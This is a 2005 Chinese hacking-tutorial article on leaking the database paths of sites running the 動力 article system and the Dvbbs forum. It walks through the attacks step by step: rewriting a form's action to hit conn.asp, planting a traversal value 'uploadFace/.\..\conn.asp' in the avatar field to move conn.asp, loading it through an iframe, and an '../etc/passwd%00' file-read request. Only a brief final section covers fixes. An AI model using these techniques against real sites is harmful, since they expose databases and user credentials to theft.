| |||
| 2005-2-19 0:00:15 | 作者:未知 | ||
前言
數據庫作為一個(gè)站點(diǎn)的核心部分其重要性自然不言而喻,網(wǎng)管們也煞費苦心的把數據庫改名、加上特殊符號來(lái)增加安全性。但是最近一些安全站點(diǎn)的數據庫路徑紛紛被人找到并下載,也就是最近討論的很熱的"暴庫"技術(shù)。我和紫幻以及黑客X檔案的各位朋友們也對這門(mén)技術(shù)進(jìn)行了研究。雖說(shuō)研究成果還不是很多,但希望能起一個(gè)拋轉引玉的作用。下面我就拿兩個(gè)系統來(lái)做實(shí)例分析:
動(dòng)力文章系統
一般說(shuō)來(lái)每一個(gè)站點(diǎn)程序文件中都會(huì )有一個(gè)連接數據的文件(一般是conn.asp),當然這個(gè)文件名和路徑并不是固定的,有的是在站點(diǎn)根目錄下,有的是放在專(zhuān)門(mén)的一個(gè)文件夾里,通常這個(gè)文件夾名為INC,文件名為conn.asp。如果把這和暴庫聯(lián)系起來(lái),通常人們都會(huì )想到通過(guò)訪(fǎng)問(wèn)這個(gè)文件來(lái)得到關(guān)于數據庫的信息,而實(shí)際上我們直接訪(fǎng)問(wèn)這個(gè)文件是不會(huì )得到我們想要的信息的,所以就需要結合一些漏洞來(lái)達到暴庫的目的。
首先我來(lái)簡(jiǎn)單介紹一下這個(gè)程序,動(dòng)力文章系統分為商業(yè)SQL版本和免費ACCESS版本,我們這里測試的當然是ACCESS版的。程序的conn.asp文件用于連接數據庫,在/INC這個(gè)目錄下,數據庫文件在/Database目錄下。連接數據庫用的是相對路徑:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
動(dòng)力文章系統的這個(gè)數據庫路徑泄露隱患應該算是程序員的疏忽而造成的,由于conn.asp這個(gè)文件本身存在隱患,導致攻擊者獲得數據庫路徑。漏洞發(fā)現者:天天(即黑客X論壇叫sohu的那位MM:),參與研究者:怪狗、iceyes、sniper。(漏洞分析可以參考_blank>http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。
開(kāi)始的時(shí)候我們還以為editor.asp這個(gè)文件缺乏足夠的驗證,但是后來(lái)分析我們才發(fā)現不是editor.asp的問(wèn)題。天天的那種做法只是利用editor.asp查看服務(wù)器返回信息。很顯然,這個(gè)文件是用于編輯文章內容的時(shí)候用的,雖然沒(méi)有什么別的權限,但是我們可以編輯更改HTML頁(yè)面。點(diǎn)擊"原代碼"找到這樣一段內容:
<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
這是該頁(yè)面進(jìn)行身份驗證的時(shí)候,將內容傳遞給Admin_ChkLogin.asp這個(gè)文件的內容,下面我們要做的就是把它改成conn.asp文件了:
<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
這是什么原因呢,讓我們看看這個(gè):
‘D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb‘不是一個(gè)有效的路徑。確定路徑名稱(chēng)拼寫(xiě)是否正確,以及是否連接到文件存放的服務(wù)器。
目錄結構我開(kāi)始已經(jīng)說(shuō)了主目錄下存在INC目錄(用于存放conn.asp)和DATABASE目錄(數據庫文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目錄并不在INC目錄下,剛才暴露數據庫的時(shí)候卻顯示\inc\database\呢。這就是編寫(xiě)人員的一大疏忽。由于INC和DATABASE屬于同級目錄,當我們用editor.asp連接訪(fǎng)問(wèn)conn.asp的時(shí)候,由于DATABASE并沒(méi)有在INC目錄下,而系統確認為你是在請求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb這個(gè)文件,而實(shí)際上沒(méi)有這個(gè)文件,系統找不到這個(gè)文件自然就報錯拉。要解決這個(gè)問(wèn)題,最直接的方法就是和動(dòng)網(wǎng)那樣使conn.asp處于數據庫文件的上級目錄或同一個(gè)目錄中。
動(dòng)網(wǎng)論壇
根據上面動(dòng)力文章系統的分析我們可以得到存在數據庫路徑泄露這個(gè)問(wèn)題的程序的標志:
1 conn.asp和調用它的文件(如INDEX.ASP)不在同一目錄。
2 conn.asp連接數據庫用的是相對路徑。
知道了漏洞的原理,再來(lái)理解動(dòng)網(wǎng)得到數據庫的方法也就不難了。前一段時(shí)間臭要飯的發(fā)現了動(dòng)網(wǎng)論壇的一個(gè)大漏洞,可以轉移任何文件。如果單純利用這個(gè)漏洞,至多可以把別人論壇文件刪除,卻得不到任何權限。那天我和紫幻討論這個(gè)問(wèn)題的時(shí)候,突然想到了一個(gè)方法,只要我們將這個(gè)漏洞結合我們動(dòng)力文章得到數據庫的方法,我們很容易的就可以想到得到動(dòng)網(wǎng)論壇數據庫的方法。下面和我一起來(lái)看看動(dòng)網(wǎng)我們該怎么做吧。
動(dòng)網(wǎng)的漏洞出在mymodify.asp這個(gè)文件上,它在對用戶(hù)自定義頭像的部分處理的過(guò)于草率,我們可以利用/.\來(lái)跳轉目錄并移動(dòng)文件,看下面代碼:
‘******************
‘對上傳頭象進(jìn)行過(guò)濾與改名
if Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set rs=conn.execute("select userid,face from [user] where userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if ubound(upfilename)=1 and upfilename(0)="uploadFace" then
if instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用戶(hù)定義的頭像變?yōu)閡ploadFace/用戶(hù)ID
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user] set face=‘"&newfilename&"‘ where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set rs=nothing
end if
‘對上傳頭象進(jìn)行過(guò)濾與改名結束
‘****************
看看這句:
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用戶(hù)定義的頭像變?yōu)閡ploadFace/用戶(hù)ID_upfilename的另一部分
再看:
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看見(jiàn)沒(méi)有?最關(guān)鍵的部分來(lái)了,如果檢測到upface代表的文件存在,則對改文件進(jìn)行移動(dòng)并改名!
好了,代碼分析完畢,看看我們到底應該怎么樣利用它吧。注冊一個(gè)用戶(hù),進(jìn)入基本資料修改的頁(yè)面后,關(guān)鍵部分就要來(lái)了。大家還記得在玩showfiles類(lèi)文件的時(shí)候跳轉目錄來(lái)查看資料嗎?類(lèi)似下面的的URL,我們就利用../來(lái)跳轉目錄對passwd文件進(jìn)行查看。提交:
http://www.target.com/show.php?file=../../../../../etc/passwd%00
相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我們要做的就是跳轉目錄把conn.asp轉移過(guò)來(lái)。在自定義頭像地址那里添上這樣的一句:
uploadFace/.\..\conn.asp (注意大小寫(xiě))
前面已經(jīng)分析過(guò)代碼了,這句話(huà)的意思應該看的懂了吧,我們把“頭像”地址指向了上級目錄的conn.asp。由于符合它的判斷條件upface存在,所以它就會(huì )把conn.asp這個(gè)文件轉移到uploadFace這個(gè)目錄來(lái),這樣就符合我們玩動(dòng)力文章系統的時(shí)候的第一個(gè)條件了。一般大家用的都是相對路徑,所以下面我們只要調用這個(gè)文件就會(huì )知道數據庫路徑。新建一個(gè)HTML文件寫(xiě)上如下內容:
<IFRAME marginWidth=0 marginHeight=0 src="_blank>http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>
安全篇
看來(lái)問(wèn)題都出在conn.asp本身,不打自招。為了安全我們得好好處理一下它。
最笨的方法就是把它改名了,讓別人猜不到路徑。但是它要被很多文件調用,還得改其它地方。
我們用相對路徑的時(shí)候,數據庫路徑會(huì )隨著(zhù)調用conn.asp的文件而改變,從而產(chǎn)生了錯誤。那么我們就讓連接數據庫使用絕對路徑,這樣一來(lái)不管誰(shuí)調用conn.asp數據庫路徑都不變了。
我在測試動(dòng)網(wǎng)這個(gè)漏洞的時(shí)候,發(fā)現對一些比較新的版本,就是文件挪移成功了也暴不出數據庫路徑。但是有的6.0版本有效??磥?lái)新的版本動(dòng)網(wǎng)論壇對conn.asp進(jìn)行了特殊的處理。對比了一下兩個(gè)不同的conn.asp,發(fā)現新的conn.asp里加了這么一句:
On Error Resume Next
這樣一來(lái),就是出錯了不提示數據庫信息,打死了也不招!當然以上的那些方法結合起來(lái)使用就更好了!
聯(lián)系客服